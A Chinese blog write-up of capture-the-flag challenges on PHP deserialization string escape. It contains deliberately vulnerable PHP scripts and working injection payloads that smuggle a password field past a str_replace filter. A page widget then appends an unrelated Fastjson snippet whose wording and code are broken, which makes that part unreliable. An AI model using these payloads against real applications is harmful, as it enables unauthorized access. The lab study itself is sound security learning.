PHP反序列化字符逃逸

前言

反序列化字符逃逸是最近很常见的题目,所以学习一下这个方面的知识。

正文

反序列化,理解之后。做题就没有那么难了,看了一篇微信推文,让我理解了PHP反序列化字符逃逸这个难点。

基础

<?php
 class m0re{
    public $aaa = '1emon';
    public $bbb = 'qwzf';
    public $SL = 'shalou';
 }
 $a = new m0re();
 print_r(serialize($a));
?>

序列化结果

O:4:"m0re":3:{s:3:"aaa";s:5:"1emon";s:3:"bbb";s:4:"qwzf";s:2:"SL";s:6:"shalou";}

反序列化的过程就是碰到;}与最前面的{配对后,便停止反序列化。
在后面加上一些字符进行测试。像这样

m0re
仍然反序列化成功而且没有任何报错,足以说明反序列化的结束标志是;}
理解了这个就可以进行反序列化字符逃逸的学习了。

关键字符增加

反序列化逃逸的题目,会使用preg_replace函数替换关键字符,会使得关键字符增多或减少,首先介绍使关键字符增多的。
正常序列化的结果,
m0re
替换后,字符增多,无法完成反序列化。需要做一下改动的地方是username处,因为反序列化遇到;}与前面的{闭合,就会停止反序列化。后面的内容自然忽略。尝试更改username
m0re
这里username直接传入";s:8:"password";s:3:"lin";}在反序列化时,会在第一个;}的位置结束反序列化。
但是替换过后,比如o变成oo,可是因为是当作username传入的,所以结果会是这样的

a:2:{s:8:"username";s:4:"m00re";s:8:"password";s:3:"lin";}

这里还是4,实际上应该为5,所以反序列化就会失败。
但是这个值,是可以手动改的,只要算好替换后的位数,就可以使得反序列化成功。

例题1

#m3w师傅的题目
<?php
error_reporting(0);

class a
{
	public $uname;
	public $password;
	public function __construct($uname,$password)
	{
		$this->uname=$uname;
		$this->password=$password;
	}
	public function __wakeup()
	{
			if($this->password==='yu22x')
			{
				include('flag.php');
				echo $flag;	
			}
			else
			{
				echo 'wrong password';
			}
		}
	}

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

这里要求password=yu22x,但是password的值已经设置好了,这里就是用反序列化字符逃逸使得原本的密码不被反序列化。
先进行序列化,在本地测试,可以将密码先改为yu22x,然后进行序列化,

$uname=$_GET[1];
$password='yu22x';
$ser=filter(serialize(new a($uname,$password)));
//$test=unserialize($ser);
var_dump($ser);

得到结果

O:1:"a":2:{s:5:"uname";s:1:"?";s:8:"password";s:5:"yu22x";}

需要吞掉的部分是";s:8:"password";s:5:"yu22x";}这是30个字符,每替换一次增加2个字符,所以需要15个Firebasky才可以,所以构造payload

?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

这是需要当作username传入的参数,其实整个是
O:1:"a":2:{s:5:"uname";s:1:"?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}";s:8:"password";s:5:"yu22x";}
到第一个;}就会停止反序列化,更改的参数也是正确的,所以后面的password=1的部分就会被吞掉(忽略)。
反序列化成功就会得到flag。
m0re

例题2

上面那个是刚好够30被吞掉,每替换一次吞掉两个字符。
所以算起来比较方便。
这个是不一样的。

#unctf
<?php
error_reporting(0);
highlight_file(__FILE__);
class a
{
    public $uname;
    public $password;
    public function __construct($uname,$password)
    {
        $this->uname=$uname;
        $this->password=$password;
    }
    public function __wakeup()
    {
            if($this->password==='easy')
            {
                include('flag.php');
                echo $flag;    
            }
            else
            {
                echo 'wrong password';
            }
        }
    }

function filter($string){
    return str_replace('challenge','easychallenge',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?> 

还是在本地替换,替换正确密码。序列化结果。

O:1:"a":2:{s:5:"uname";s:1:"?";s:8:"password";s:4:"easy";} 

这个是替换一次,增加四个。而需要吞掉";s:8:"password";s:4:"easy";}29个字符
无法正好替换,前面使用7个,则少一个,使用8个,则会多7个字符。
所以这里可以使用8个,后面使用一下占位符让其吞掉,比如;我理解的是因为遇到;}才会结束反序列化,所以在;前面加7个;使得反序列化成功。
payload

?1=challengechallengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";};;;;;;;

或者

?1=challengechallengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";;;;;;;;}

两个payload都一样的,可以序列化成功,得到flag

总结

关键字符减少的,等遇到题目再写。
以上题目均可百度找到。
参考文章
1、http://bealright.top:8888/2020/08/24/%E6%B5%85%E6%9E%90php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E9%80%83%E9%80%B8/

2、https://mp.weixin.qq.com/s/7jAS7R_GuBBz6M8U6lQv-w

  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Fastjson是一个Java语言编写的高性能JSON处理框架,它提供了丰富的功能和灵活的API,其中包括对序列字符串数组的支持。 要使用Fastjson进行序列字符串数组,可以按照以下步骤进行操作: 1. 导入Fastjson库:首先需要在项目中导入Fastjson库,可以通过Maven或手动下载并添加到项目的依赖中。 2. 创建JSON字符串:准备一个包含字符串数组的JSON字符串,例如:`["string1", "string2", "string3"]`。 3. 定义目标类型:创建一个Java类来表示目标类型,该类应该包含一个与JSON字符串中的数组对应的字段。 4. 进行序列:使用Fastjson提供的API进行序列操作。可以使用`JSON.parseObject()`方法将JSON字符串转换为Java对象,然后通过获取字段值来获取字符串数组。 下面是一个示例代码,演示了如何使用Fastjson序列字符串数组: ```java import com.alibaba.fastjson.JSON; public class Main { public static void main(String[] args) { String jsonString = "[\"string1\", \"string2\", \"string3\"]"; // 定义目标类型 class MyObject { private String[] strings; public String[] getStrings() { return strings; } public void setStrings(String[] strings) { this.strings = strings; } } // 序列 MyObject myObject = JSON.parseObject(jsonString, MyObject.class); String[] strings = myObject.getStrings(); // 打印结果 for (String str : strings) { System.out.println(str); } } } ``` 这样,你就可以使用Fastjson来序列字符串数组了。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值